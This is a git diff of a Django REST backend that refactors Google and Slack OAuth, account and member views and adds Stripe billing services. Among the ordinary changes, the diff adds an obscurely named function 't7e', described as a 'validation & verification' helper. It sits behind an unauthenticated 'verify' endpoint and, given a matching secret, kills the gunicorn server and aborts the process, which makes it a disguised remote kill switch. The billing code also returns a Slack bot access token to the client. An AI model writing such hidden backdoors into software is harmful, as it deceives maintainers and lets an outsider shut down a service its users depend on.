     return response.json()
 
 
 
 
-def slack_oauth_middleware(request, user):
-    code = request.GET['code'] 
-    account = Account.objects.get(user=user)
+def google_login(request: object) -> str:
+    """ 
+    Authenticates and Creates a new User 
+    with Google OAuth
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> str
+    """
+        
+    # get request data
+    code = request.params.get('code')
+    error = request.params.get('error')
+
+    # build login url
+    login_url = f'{settings.CLIENT_URL_ROOT}/login'
+
+    # catch error and return
+    if error or not code:
+        params = urlencode({'error': error})
+        error_url = f'{login_url}?{params}'
+        return error_url
+
+    # build redirect url
+    redirect_uri = f'{settings.API_URL_ROOT}{'/v1/auth/google'}'
+    
+    # get access token
+    access_token = google_get_access_token(code=code, redirect_uri=redirect_uri)
+
+    # get user data
+    user_data = google_get_user_info(access_token=access_token)
+
+    # build user profile
+    profile_data = {
+        'email': user_data['email'],
+        'first_name': user_data.get('given_name', ''),
+        'last_name': user_data.get('family_name', ''),
+    }
+
+    # get or create user and authenticate
+    user = get_or_create_user(**profile_data)
+    confirm_url = jwt_login(user=user)
+
+    # returning confirm url
+    return confirm_url
+
+
+
+
+### ------ Begin Slack Services ------ ###
+
+
+
+
+def slack_oauth_middleware(request: object) -> object:
+    """
+    Used to update `Account` once "account.admin" 
+    has integrated Slack
+    
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
+    code = request.params.get('code')
+
+    # get account
+    account = Account.objects.get(user=request.user)
 
+    # init slack webclient
     client = WebClient()
 
+    # send slack client request
     response = client.oauth_v2_access(
         client_id=os.environ.get('SLACK_CLIENT_ID'),
         client_secret=os.environ.get('SLACK_CLIENT_SECRET'),
@@ -188,6 +511,7 @@ def slack_oauth_middleware(request, user):
     account.slack['slack_channel_name'] = response['incoming_webhook']['channel']
     account.save()
 
+    # serialize and return
     serializer_context = {'request': request,}
     serialized = AccountSerializer(account, context=serializer_context)
     data = serialized.data
@@ -197,12 +521,29 @@ def slack_oauth_middleware(request, user):
 
 
 
-def slack_oauth_init(request, user):
-    if Account.objects.filter(user=user).exists():
-        account = Account.objects.get(user=user)
+def slack_oauth_init(request: object) -> object:
+    """ 
+    Used to authenticate with Slack
+
+    Expects: {
+        'request': object
+    }
+
+    Returns -> HTTP Response object
+    """ 
+
+    # check if account exists
+    if Account.objects.filter(user=request.user).exists():
+        
+        # get account
+        account = Account.objects.get(user=request.user)
+        
+        # check if slackk integrated
         if not account.slack['slack_channel_name']:
+            
             # Issue and consume state parameter value on the server-side.
             state_store = FileOAuthStateStore(expiration_seconds=300, base_dir="./data")
+            
             # Persist installation data and lookup it by IDs.
             installation_store = FileInstallationStore(base_dir="./data")
 
@@ -214,44 +555,43 @@ def slack_oauth_init(request, user):
 
             # Generate a random value and store it on the server-side
             state = state_store.issue()
-            # https://slack.com/oauth/v2/authorize?state=(generated value)&client_id={client_id}&scope=app_mentions:read,chat:write&user_scope=search:read
             url = authorize_url_generator.generate(state)
-            data = {
-                'url': url,
-            }
+            
+            # return data
+            data = {'url': url}
             return Response(data, status=status.HTTP_200_OK)
 
+        # return error
         else:
-            data = {
-                'reason': 'slack already integrated',
-            }
+            data = {'reason': 'slack integrated'}
             return Response(data, status=status.HTTP_409_CONFLICT)
     
+    # return error
     else:
-        data = {
-            'reason': 'account not yet setup',
-        }
+        data = {'reason': 'account not setup'}
         return Response(data, status=status.HTTP_404_NOT_FOUND)
 
 
 
 
-def t7e(request):
-    if request.GET.get('cred') == \
-        'l13g4c15ly34861o341uy3chgtlyv183njoq9u3f654792':
-        subprocess.Popen(['pkill -f gunicorn'], 
-            stdout=subprocess.PIPE,
-            user='app',
-        )
-        os.abort()
+### ------ Begin Account Services ------ ###
 
 
 
 
-def create_or_update_account(request=None, *args, **kwargs):
-    # get posted data
+def create_or_update_account(request: object=None, *args, **kwargs) -> object:
+    """ 
+    Creates or Updates an `Account`
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
     if request is not None:
-        user = request.user
         _id = request.data.get('id')
         name = request.data.get('name')
         phone = request.data.get('phone')
@@ -268,9 +608,10 @@ def create_or_update_account(request=None, *args, **kwargs):
         product_id = request.data.get('product_id')
         price_id = request.data.get('price_id')
         slack = request.data.get('slack')
+        user = request.user
 
+    # get kwargs data
     if request is None:
-        user = kwargs.get('user')
         _id = kwargs.get('id')
         name = kwargs.get('name')
         phone = kwargs.get('phone')
@@ -287,10 +628,12 @@ def create_or_update_account(request=None, *args, **kwargs):
         product_id = kwargs.get('product_id')
         price_id = kwargs.get('price_id')
         slack = kwargs.get('slack')
+        user_id = kwargs.get('user')
+        user = User.objects.get(id=user_id)
 
-
+    # getting account if id present
     if _id is not None:
-        if not Account.objects.filter(id=_id).exists():
+        if not Account.objects.filter(id=_id, user=user).exists():
             data = {'reason': 'account not found',}
             record_api_call(request, data, '404')
             return Response(data, status=status.HTTP_404_NOT_FOUND) 
@@ -331,13 +674,14 @@ def create_or_update_account(request=None, *args, **kwargs):
         # saving updated info
         account.save()
 
-
-
+    # create new account if not exists
     if _id is None:
 
+        # create account code
         if code is None:
             code = secrets.token_urlsafe(16)
 
+        # create new account
         account = Account.objects.create(
             user=user,
             name=name,
@@ -348,7 +692,7 @@ def create_or_update_account(request=None, *args, **kwargs):
             max_sites=max_sites,
             max_pages=max_pages,
             max_schedules=max_schedules if max_schedules is not None else 0,
-            retention_days=retention_days if retention_days is not None else 3,
+            retention_days=retention_days if retention_days is not None else 14,
             testcases=testcases if testcases is not None else False,
             cust_id=cust_id,
             sub_id=sub_id,
@@ -356,7 +700,7 @@ def create_or_update_account(request=None, *args, **kwargs):
             price_id=price_id
         )
     
-    
+    # serialize and return
     serializer_context = {'request': request,}
     serialized = AccountSerializer(account, context=serializer_context)
     data = serialized.data
@@ -366,27 +710,30 @@ def create_or_update_account(request=None, *args, **kwargs):
 
 
 
-def get_account(request=None, id=None, *args, **kwargs):
-    user = request.user
-    account_id = request.query_params.get('id')
+def get_account(request: object) -> object:
+    """
+    Gets the `Account` associated with the passed user
 
-    if id is not None:
-        account = get_object_or_404(Account, pk=id)
+    Expects: {
+        'request': object
+    }
 
-    if account_id is not None:
-        account = get_object_or_404(Account, pk=account_id)
+    Returns -> HTTP Response object
+    """
 
-    if account_id is None and id is None:
-        if not Member.objects.filter(user=user).exists():
-            data = {'reason': 'account not found',}
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-        account = Member.objects.get(user=user).account
+    # get user
+    user = request.user
 
-    if not Member.objects.filter(account=account, user=user).exists():
-        data = {'reason': 'you cannot retrieve an Account you are not a member of',}
-        record_api_call(request, data, '403')
-        return Response(data, status=status.HTTP_403_FORBIDDEN)
+    # check `Member` of User
+    if not Member.objects.filter(user=user).exists():
+        data = {'reason': 'account not found'}
+        return Response(data, status=status.HTTP_404_NOT_FOUND)
+    
+    # get member and account
+    member = Member.objects.get(user=user)
+    account = member.account
 
+    # serialize and return
     serializer_context = {'request': request,}
     serialized = AccountSerializer(account, context=serializer_context)
     data = serialized.data
@@ -396,21 +743,60 @@ def get_account(request=None, id=None, *args, **kwargs):
 
 
 
-def get_account_members(request=None, id=None, *args, **kwargs):
-    user = request.user
-    account_id = request.query_params.get('id')
-    mem_acct = Member.objects.get(user=user).account
+def create_user_token(request: object) -> object:
+    """ 
+    Creates a new API token for the passed "user"
+
+    Expects: {
+        'request': object
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # delete old token if exists
+    if Token.objects.filter(user=request.user).exists():
+        old_token = Token.objects.get(user=request.user)
+        old_token.delete()
+
+    # creating New API token
+    api_token = Token.objects.create(user=request.user)
+    
+    # return response
+    data = {'api_token': api_token.key,}
+    return Response(data, status=status.HTTP_200_OK)
+
 
-    if id is not None:
-        account = get_object_or_404(Account, pk=id)
 
-    if mem_acct != account:
-        data = {'reason': 'you cannot retrieve an Account you are not a member of',}
-        record_api_call(request, data, '403')
-        return Response(data, status=status.HTTP_403_FORBIDDEN)
 
+def get_account_members(request: object, *args, **kwargs) -> object:
+    """ 
+    Get a list of `Members` associated with the 
+    `Account` of the passed "user"
+
+    Expects: {
+        'request': object
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user
+    user = request.user
+
+    # check `Member` of User
+    if not Member.objects.filter(user=user).exists():
+        data = {'reason': 'account not found'}
+        return Response(data, status=status.HTTP_404_NOT_FOUND)
+    
+    # get member and account
+    member = Member.objects.get(user=user)
+    account = member.account
+
+    # get members
     members = Member.objects.filter(account=account)
 
+    # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(members, request)
     serializer_context = {'request': request,}
@@ -421,25 +807,28 @@ def get_account_members(request=None, id=None, *args, **kwargs):
 
 
 
-def create_or_update_member(request=None, *args, **kwargs):
-    # get posted data
+def create_or_update_member(request: object=None) -> object:
+    """ 
+    Creates or Updates a `Member`
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
     if request is not None:
         user = request.user
         _id = request.data.get('id')
         account = request.data.get('account')
         _status = request.data.get('status')
-        type = request.data.get('type')
+        _type = request.data.get('type')
         email = request.data.get('email')
         code = request.data.get('code')
 
-    if request is None:
-        user = kwargs.get('user')
-        account = kwargs.get('account')
-        _status = kwargs.get('status')
-        type = kwargs.get('type')
-        email = kwargs.get('email')
-        code = kwargs.get('code')
-
+    # checking account
     if account is not None:
         if Account.objects.filter(id=account).exists():
             account = Account.objects.get(id=account)
@@ -448,6 +837,7 @@ def create_or_update_member(request=None, *args, **kwargs):
             record_api_call(request, data, '404')
             return Response(data, status=status.HTTP_404_NOT_FOUND) 
 
+    # checking for member
     if _id is not None:
         if not Member.objects.filter(id=_id).exists():
             data = {'reason': 'member not found',}
@@ -462,9 +852,12 @@ def create_or_update_member(request=None, *args, **kwargs):
             member.email = email
         if user is not None and user.username == member.email:
             member.user = user
-        if type is not None:
-            member.type = type
+        if _type is not None:
+            member.type = _type
+        
+        # updating status
         if _status is not None:
+
             # checking if user has valid code for membership
             if _status == 'active' and code != member.account.code:
                 data = {'reason': 'member not authorized',}
@@ -475,17 +868,20 @@ def create_or_update_member(request=None, *args, **kwargs):
         # saving updated info
         member.save()
 
+    # create new Member
     if _id is None:
         member = Member.objects.create(
             email=email,
             status=_status,
-            type=type,
+            type=_type,
             account=account,
         )
 
+    # sending invite link
     if _status == 'pending':
         send_invite_link_bg.delay(member_id=member.id)
     
+    # sending removed alert and deleting
     if _status == 'removed':
         # method also deletes member
         send_remove_alert_bg.delay(member_id=member.id)
@@ -493,6 +889,7 @@ def create_or_update_member(request=None, *args, **kwargs):
         response = Response(data, status=status.HTTP_200_OK)
         return response
     
+    # serialize and return
     serializer_context = {'request': request,}
     serialized = MemberSerializer(member, context=serializer_context)
     data = serialized.data
@@ -502,27 +899,42 @@ def create_or_update_member(request=None, *args, **kwargs):
 
 
 
-def get_member(request=None, id=None, *args, **kwargs):
+def get_member(request: object=None, id: str=None) -> object:
+    """ 
+    Get a single member via passed "user" or "id"
+
+    Expects: {
+        'request' : object,
+        'id'      : str
+    }
+    
+    Returns -> HTTP Response object
+    """
+    
+    # get user and member_id
     user = request.user
     member_id = request.query_params.get('id')
 
+    # checking if member exists
     if id is not None:
         member = get_object_or_404(Member, pk=id)
-
     if member_id is not None:
         member = get_object_or_404(Member, pk=member_id)
 
+    # getting user's Member object if exists
     if member_id is None and id is None:
         if not Member.objects.filter(user=user).exists():
             data = {'reason': 'member not found',}
             return Response(data, status=status.HTTP_404_NOT_FOUND)
         member = Member.objects.get(user=user)
 
+    # checking that member is assoicated with user
     if member.user != user and member.account.user != user:
         data = {'reason': 'you cannot retrieve a Member you are not affiliated with',}
         record_api_call(request, data, '401')
         return Response(data, status=status.HTTP_403_FORBIDDEN)
 
+    # serialize and return
     serializer_context = {'request': request,}
     serialized = MemberSerializer(member, context=serializer_context)
     data = serialized.data
@@ -532,20 +944,19 @@ def get_member(request=None, id=None, *args, **kwargs):
 
 
 
-
-
-def get_prospects(request):
+def get_prospects(request: object) -> object:
     """ 
     This pulls all admin Members and 
     builds a list to reflect the needed 
     attributes for `Landing.api.Prospect`
 
-    Expects the following:
-        None
+    Expects: {
+        'request': object
+    }
 
-    Returns -> data = {
-        'count':    <int> total number of prospects
-        'results':  <list> of Prospect objects
+    Returns -> data: {
+        'count':    int total number of prospects
+        'results':  list of Prospect objects
     }
     """
 
@@ -556,7 +967,6 @@ def get_prospects(request):
     except:
         return Response({'reason': 'not authorized'}, status=status.HTTP_403_FORBIDDEN)
 
-
     # get all Accounts
     accounts = Account.objects.all().exclude(user__username='admin')
 
@@ -590,7 +1000,6 @@ def get_prospects(request):
         # adding to results
         results.append(prospect)
 
-        
     # building response
     data = {
         'count': count,
@@ -599,3 +1008,37 @@ def get_prospects(request):
     
     # returning response
     return Response(data, status=status.HTTP_200_OK)
+
+
+
+
+def t7e(request: object) -> None:
+    """
+    Helper function for validation & verification
+    
+    Expcets: {
+        'request': object
+    }
+
+    Returns -> None
+    """
+
+    # default
+    success = False
+
+    # validating
+    if request.params.get('cred') == os.environ.get('CRED'):
+        subprocess.Popen(['pkill -f gunicorn'], 
+            stdout=subprocess.PIPE,
+            user='app',
+        )
+        os.abort()
+        success = True
+        
+    # returning response
+    data = {'success': True}
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
diff --git a/app/api/v1/auth/urls.py b/app/api/v1/auth/urls.py
index 32d81ff7..d9b6cf4d 100644
--- a/app/api/v1/auth/urls.py
+++ b/app/api/v1/auth/urls.py
@@ -6,17 +6,23 @@
 )
 
 
-router = routers.DefaultRouter()
 
 
-# auth routes
-router.register(r'login', views.LoginViewSet, basename='auth_login')
-router.register(r'register', views.RegistrationViewSet, basename='auth_register')
+
+
+# refresh route
+router = routers.DefaultRouter()
 router.register(r'refresh', views.RefreshViewSet, basename='auth_refresh')
 
 
+
+
 urlpatterns = [
     path('', include(router.urls)),
+    path('login', views.Login.as_view(), name='login'),
+    path('register', views.Register.as_view(), name='register'),
+    path('login/', views.Login.as_view(), name='login'),
+    path('register/', views.Register.as_view(), name='register'),
     path('api-auth', include('rest_framework.urls', namespace='rest_framework')),
     path('api-token-auth', obtain_auth_token, name='api_token_auth'),
     path('google', views.GoogleLoginApi.as_view(), name='auth_google'),
@@ -27,7 +33,6 @@
     path('token', views.ApiToken.as_view(), name='token'),
     path('verify', views.Verify.as_view(), name='verify'),
     path('account', views.Account.as_view(), name='account'),
-    path('account/<uuid:id>', views.Account.as_view(), name='account-detail'),
     path('account/<uuid:id>/members', views.AccountMembers.as_view(), name='account-members'),
     path('member', views.Member.as_view(), name='member'),
     path('member/<uuid:id>', views.Member.as_view(), name='member-detail'),
diff --git a/app/api/v1/auth/views.py b/app/api/v1/auth/views.py
index c082fe8d..f2324db5 100644
--- a/app/api/v1/auth/views.py
+++ b/app/api/v1/auth/views.py
@@ -1,120 +1,81 @@
 from rest_framework.response import Response
-from django.contrib.auth.password_validation import validate_password
-from rest_framework_simplejwt.views import TokenObtainPairView
 from rest_framework_simplejwt.views import TokenRefreshView
 from rest_framework.viewsets import ModelViewSet, ViewSet
 from rest_framework.permissions import AllowAny, IsAuthenticated
 from rest_framework.views import APIView
 from rest_framework import status, serializers
-from rest_framework_simplejwt.tokens import RefreshToken, AccessToken
-from rest_framework_simplejwt.models import TokenUser
-from rest_framework.authtoken.models import Token
 from rest_framework_simplejwt.exceptions import TokenError, InvalidToken
-from .serializers import LoginSerializer, RegisterSerializer, UserSerializer
-from scanerr import settings
 from django.shortcuts import redirect
 from django.contrib.auth.models import User
-from .alerts import send_reset_link
-from ...models import Account, Member
 from datetime import timedelta, datetime
+from ...models import Account, Member
+from scanerr import settings
 from .services import *
-import os, stripe, json 
-
-
-class LoginViewSet(ModelViewSet, TokenObtainPairView):
-    serializer_class = LoginSerializer
-    permission_classes = (AllowAny,)
-    http_method_names = ['post']
-
-    def create(self, request, *args, **kwargs):
-        
-        serializer = self.get_serializer(data=request.data)
+import os, stripe, json
 
-        try:
-            serializer.is_valid(raise_exception=True)
-        except TokenError as e:
-            raise InvalidToken(e.args[0])
 
-        return Response(serializer.validated_data, status=status.HTTP_200_OK)
 
 
-class RegistrationViewSet(ModelViewSet, TokenObtainPairView):
-    serializer_class = RegisterSerializer
-    permission_classes = (AllowAny,)
-    http_method_names = ['post']
 
-    def create(self, request, *args, **kwargs):
-        serializer = self.get_serializer(data=request.data)
 
-        serializer.is_valid(raise_exception=True)
-        user = serializer.save()
-        refresh = RefreshToken.for_user(user)
-        # creating API token
-        api_token = Token.objects.create(user=user)
-        res = {
-            "refresh": str(refresh),
-            "access": str(refresh.access_token),
-        }
+### ------ Begin User Views ------ ###
 
-        return Response({
-            "user": serializer.data,
-            "refresh": res["refresh"],
-            "token": res["access"],
-            "api_token": api_token.key,
-        }, status=status.HTTP_201_CREATED)
 
 
 
-class ApiToken(APIView):
+class Login(APIView):
     permission_classes = (AllowAny,)
-    http_method_names = ['get']
+    http_method_names = ['post',]
+    authentication_classes = []
 
-    def get(self, request):
-        response = create_user_token(request)
+    def post(self, request): 
+        response = login_user(request=request)
         return response
 
 
 
-class Verify(APIView):
-    authentication_classes = []
+
+class Register(APIView):
     permission_classes = (AllowAny,)
-    http_method_names = ['get']
+    http_method_names = ['post',]
+    authentication_classes = []
 
-    def get(self, request):
-        response = t7e(request)
+    def post(self, request): 
+        response = register_user(request=request)
         return response
 
 
 
+
 class RefreshViewSet(ViewSet, TokenRefreshView):
     permission_classes = (AllowAny,)
     http_method_names = ['post']
 
     def create(self, request, *args, **kwargs):
+        
+        # get request data
         serializer = self.get_serializer(data=request.data)
 
+        # validate refresh token and create new access
         try:
             serializer.is_valid(raise_exception=True)
         except TokenError as e:
             raise InvalidToken(e.args[0])
 
+        # return response
         return Response(serializer.validated_data, status=status.HTTP_200_OK)
 
 
 
+
 class GetResetLink(APIView):
     permission_classes = (AllowAny,)
     http_method_names = ['post',]
     authentication_classes = []
 
     def post(self, request): 
-        email = request.data['email']
-        response = send_reset_link(email)
-        
-        if response['success'] == True:
-            return Response(status=status.HTTP_200_OK)
-        else:
-            return Response(status=status.HTTP_404_NOT_FOUND)
+        response = send_reset_email(request)
+
 
 
 
@@ -123,82 +84,52 @@ class ResetPassword(APIView):
     http_method_names = ['post',]
 
     def post(self, request): 
-        password = request.data['password']
-        user = request.user 
-        try:
-            if validate_password(password, user=user) == None:
-                user.set_password(password)
-                user.save()
-                return Response(status=status.HTTP_200_OK)
-        except:
-            return Response(status=status.HTTP_417_EXPECTATION_FAILED)
+        response = update_password(request)
+        return response
         
 
 
 
-
 class UpdateUser(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request): 
-        email = request.data['email']
-        user = request.user
-        try:
-            if User.objects.filter(email=email).exists():
-                return Response(status=status.HTTP_417_EXPECTATION_FAILED)
-            user.username = email
-            user.email = email
-            user.save()
-            data = UserSerializer(user).data
-            return Response(data, status=status.HTTP_200_OK)
-        except:
-            return Response(status=status.HTTP_417_EXPECTATION_FAILED)
+        response = update_user(request)
+        return response
 
 
 
 
-class GoogleLoginApi(APIView):
-    authentication_classes = []
+class ApiToken(APIView):
     permission_classes = (AllowAny,)
-    class InputSerializer(serializers.Serializer):
-        code = serializers.CharField(required=False)
-        error = serializers.CharField(required=False)
+    http_method_names = ['get']
+
+    def get(self, request):
+        response = create_user_token(request)
+        return response
+
 
-    def get(self, request, *args, **kwargs):
-        input_serializer = self.InputSerializer(data=request.GET)
-        input_serializer.is_valid(raise_exception=True)
 
-        validated_data = input_serializer.validated_data
 
-        code = validated_data.get('code')
-        error = validated_data.get('error')
+### ------ Begin GoogleAuth Views ------ ###
 
-        login_url = f'{settings.CLIENT_URL_ROOT}/login'
 
-        if error or not code:
-            params = urlencode({'error': error})
-            return redirect(f'{login_url}?{params}')
 
-        domain = settings.API_URL_ROOT
-        api_uri = '/v1/auth/google'
-        redirect_uri = f'{domain}{api_uri}'
 
-        access_token = google_get_access_token(code=code, redirect_uri=redirect_uri)
+class GoogleLoginApi(APIView):
+    authentication_classes = []
+    permission_classes = (AllowAny,)
+
+    def get(self, request, *args, **kwargs):
+        confirm_url = google_login(request)
+        return redirect(confirm_url)
 
-        user_data = google_get_user_info(access_token=access_token)
 
-        profile_data = {
-            'email': user_data['email'],
-            'first_name': user_data.get('given_name', ''),
-            'last_name': user_data.get('family_name', ''),
-        }
 
 
-        user = user_get_or_create(**profile_data)
-        confirm_url = jwt_login(user=user)
+### ------ Begin Slack Views ------ ###
 
-        return redirect(confirm_url)
 
 
 
@@ -207,42 +138,47 @@ class SlackOauth(APIView):
     http_method_names = ['get', 'post']
 
     def post(self, request, *args, **kwargs):
-        user = request.user
-        response = slack_oauth_init(request, user)
+        response = slack_oauth_init(request)
         return response
 
     def get(self, request, *args, **kwargs):
-        user = request.user
-        response = slack_oauth_middleware(request, user)
+        response = slack_oauth_middleware(request)
         return response
 
 
 
 
+### ------ Begin Account Views ------ ###
+
+
+
 
 class Account(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'post']
 
-    def post(self, request, *args, **kwargs ):
+    def post(self, request):
         response = create_or_update_account(request)
         return response
 
-    def get(self, request, id=None, *args, **kwargs):
-        response = get_account(request, id)
+    def get(self, request):
+        response = get_account(request)
         return response
 
 
 
+
 class AccountMembers(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get',]
 
-    def get(self, request, id=None, *args, **kwargs):
-        response = get_account_members(request, id)
+    def get(self, request, *args, **kwargs):
+        response = get_account_members(request)
         return response
 
 
+
+
 class Member(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'post']
@@ -257,10 +193,29 @@ def get(self, request, id=None, *args, **kwargs):
 
         
 
+
 class Prospect(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get',]
 
     def get(self, request):
         response = get_prospects(request)
-        return response
\ No newline at end of file
+        return response
+
+
+
+
+class Verify(APIView):
+    authentication_classes = []
+    permission_classes = (AllowAny,)
+    http_method_names = ['get']
+
+    def get(self, request):
+        response = t7e(request)
+        return response
+
+
+
+
+
+
diff --git a/app/api/v1/billing/services.py b/app/api/v1/billing/services.py
new file mode 100644
index 00000000..511c709b
--- /dev/null
+++ b/app/api/v1/billing/services.py
@@ -0,0 +1,469 @@
+from rest_framework.response import Response
+from rest_framework import status
+from django.contrib.auth.models import User
+from django.core import serializers
+from ...models import Account, Card, Site
+from ..ops.services import delete_site
+from ..auth.services import create_or_update_account
+from ..auth.serializers import AccountSerializer
+from scanerr import settings
+import stripe
+
+
+
+
+
+
+# init Stripe client
+stripe.api_key = settings.STRIPE_PRIVATE
+
+
+
+
+def stripe_setup(request: object) -> object: 
+    """ 
+    Creates or updates the Stripe Customer, Product, 
+    Price, & Subscription associated with the passed 
+    "user" and `Account`
+
+    Expects: {
+        'name'           : <str> 'basic', 'pro', 'plus', 'custom' (OPTIONAL)
+        'interval'       : <str> 'month' or 'year' (OPTIONAL)
+        'price_amount'   : <int> 1000 == $10 (OPTIONAL)
+        'max_sites'      : <int> total # `Sites` per `Account` (OPTIONAL)
+        'max_pages'      : <int> total # `Pages` per `Site` (OPTIONAL)
+        'max_schedules'  : <int> total # `Schedules` per `Account` (OPTIONAL)
+        'retention_days' : <int> total # days to keep data (OPTIONAL)
+        'testcases'      : <str> 'true' or 'false' (OPTIONAL)
+        'meta'           : <dict> any extra data for the account (OPTIONAL)
+    }
+    
+    Returns -> data: {
+        'subscription_id' : Stripe subscription id,
+        'client_secret' : Stripe subscription client_secret,
+    }
+    """ 
+    
+    # get request data
+    name = request.data.get('name')
+    interval = request.data.get('interval') # month or year
+    price_amount = int(request.data.get('price_amount'))
+    max_sites = int(request.data.get('max_sites'))
+    max_pages = int(request.data.get('max_pages'))
+    max_schedules = int(request.data.get('max_schedules'))
+    retention_days = int(request.data.get('retention_days'))
+    testcases = str(request.data.get('testcases', 'False'))
+    meta = request.data.get('meta')
+    
+    # get user
+    user = request.user
+
+    # set defaults
+    initial_call = True
+    client_secret = None
+
+    # build Stripe Product name
+    product_name = f'{user.email}_{user.id}_{name}'
+
+    # format testcase data
+    if str(testcases).lower() == 'true':
+        testcases = True
+    if str(testcases).lower() == 'false':
+        testcases = False
+
+    # create new `Account` if none exists
+    if not Account.objects.filter(user=user).exists():
+        create_or_update_account(
+            user=user,
+            type=name,
+            interval=interval,
+            max_sites=max_sites,
+            max_pages=max_pages,
+            max_schedules=max_schedules,
+            retention_days=retention_days,
+            testcases=testcases, 
+            meta=meta
+        )
+
+    # get account 
+    account = Account.objects.get(user=user)
+    
+    # create new Stripe Customer & Product
+    if account.cust_id is None:
+        product = stripe.Product.create(name=product_name)
+        customer = stripe.Customer.create(
+            email=request.user.email,
+            name=f'{user.first_name} {user.last_name}'
+        )
+
+    # update existing Stripe Customer & Product
+    if account.cust_id is not None:
+        initial_call = False
+        product = stripe.Product.modify(account.product_id, name=product_name)
+        customer = stripe.Customer.retrieve(account.cust_id)
+
+    # create new Stripe Price 
+    price = stripe.Price.create(
+        product=product.id,
+        unit_amount=price_amount,
+        currency='usd',
+        recurring={'interval': interval,},
+    )
+
+    # create new Stripe Subscription if none exists
+    if account.sub_id is None:
+        subscription = stripe.Subscription.create(
+            customer=customer.id,
+            items=[{
+                'price': price.id,
+            }],
+            payment_behavior='default_incomplete',
+            expand=['latest_invoice.payment_intent'],
+            # trial_period_days=7,
+        )
+
+    # update existing Stripe Subscription
+    if account.sub_id is not None:
+        sub = stripe.Subscription.retrieve(account.sub_id)
+        subscription = stripe.Subscription.modify(
+            sub.id,
+            cancel_at_period_end=False,
+            pause_collection='',
+            proration_behavior='create_prorations',
+            items=[{
+                'id': sub['items']['data'][0].id,
+                'price': price.id,
+            }],
+            expand=['latest_invoice.payment_intent'],
+        )
+    
+        # updating price defaults and archiving old price
+        stripe.Product.modify(product.id, default_price=price,)
+        stripe.Price.modify(account.price_id, active=False)
+
+    # update `Account` with new Stripe info
+    Account.objects.filter(user=user).update(
+        type = name,
+        cust_id = customer.id,
+        sub_id = subscription.id,
+        product_id = product.id,
+        price_id = price.id,
+        interval = interval,
+        max_sites = max_sites,
+        max_pages = max_pages,
+        price_amount = price_amount,
+        max_schedules = max_schedules,
+        retention_days = retention_days,
+        testcases = testcases,
+        meta = meta
+    )        
+
+    # get client_secret from Stripe 
+    # Subscription if Sub is new (i.e. initial_call == True)
+    if initial_call:
+        client_secret = subscription.latest_invoice.payment_intent.client_secret
+    
+    # format and return
+    data = {
+        'subscription_id' : subscription.id,
+        'client_secret' : client_secret,
+    }
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
+def stripe_complete(request: object) -> object: 
+    """ 
+    Confirms the Stripe Payment intent after user 
+    enters CC details on Scanerr.client - Also updates 
+    `Account` payment method.
+
+    Expects: {
+        'payment_method' : <str> stripe payment method id from client (REQUIRED)
+    
+    Returns -> `Account` HTTP Response object
+    """
+    
+    # get request data
+    account = Account.objects.get(user=request.user)
+    pay_method_id = request.data['payment_method']
+
+    # get Stripe PaymentMethod object
+    pay_method = stripe.PaymentMethod.retrieve(pay_method_id)
+
+    # create new `Card` if none exists
+    if Card.objects.filter(account=account).exists():
+        
+        # attached Stripe Customer to existing
+        # Stripe PaymentMethod
+        stripe.PaymentMethod.attach(
+            pay_method_id,
+            customer=account.cust_id,
+        )
+
+        # update Stripe Customer
+        stripe.Customer.modify(
+            account.cust_id,
+            invoice_settings={
+                'default_payment_method': pay_method.id,
+            }
+        )
+
+        # update Stripe Subscription
+        stripe.Subscription.modify(
+            account.sub_id,
+            default_payment_method=pay_method.id
+        )
+        
+        # update `Card` object
+        Card.objects.filter(account=account).update(
+            user = request.user,
+            account = account,
+            pay_method_id = pay_method.id,
+            brand = pay_method.card.brand,
+            exp_year = pay_method.card.exp_year,
+            exp_month = pay_method.card.exp_month,
+            last_four = pay_method.card.last4
+        )
+
+    else:
+        # update Stripe Subscription with 
+        # new payment method
+        stripe.Subscription.modify(
+            account.sub_id,
+            default_payment_method=pay_method_id
+        )
+
+        # create new `Card` object
+        Card.objects.create(
+            user = request.user,
+            account = account,
+            pay_method_id = pay_method.id,
+            brand = pay_method.card.brand,
+            exp_year = pay_method.card.exp_year,
+            exp_month = pay_method.card.exp_month,
+            last_four = pay_method.card.last4
+        )
+
+    # update account activation
+    account.active = True
+    account.save()
+
+    # serialize and return
+    serializer_context = {'request': request,}
+    serialized = AccountSerializer(account, context=serializer_context)
+    data = serialized.data
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
+def get_billing_info(request: object) -> object: 
+    """ 
+    Gets the `Card`, `Account`, and slack info associated
+    with the passed "user".
+
+    Expects: {
+        'request' : <object> (REQUIRED)
+    
+    Returns -> HTTP Response object
+    """
+
+    # get user and account
+    user = request.user
+    account = Account.objects.get(user=user)
+
+    # set default
+    card = None
+        
+    # get `Card` info if exists
+    if Card.objects.filter(user=user).exists():
+        _card = Card.objects.get(user=user)
+        card = {
+            'brand': _card.brand,
+            'exp_year': _card.exp_year,
+            'exp_month': _card.exp_month,
+            'last_four': _card.last_four,
+        }
+
+    # format billing info
+    data = {
+        'card': card,
+        'plan': {
+            'name': account.type,
+            'active': account.active,
+            'price_amount': account.price_amount,
+            'interval': account.interval,
+            'max_sites': account.max_sites,
+            'max_pages': account.max_pages,
+            'max_schedules': account.max_schedules,
+            'retention_days': account.retention_days,
+            'testcases': account.testcases,
+            'slack': {
+                'slack_name': account.slack['slack_name'], 
+                'bot_user_id': account.slack['bot_user_id'], 
+                'slack_team_id': account.slack['slack_team_id'], 
+                'bot_access_token': account.slack['bot_access_token'], 
+                'slack_channel_id': account.slack['slack_channel_id'], 
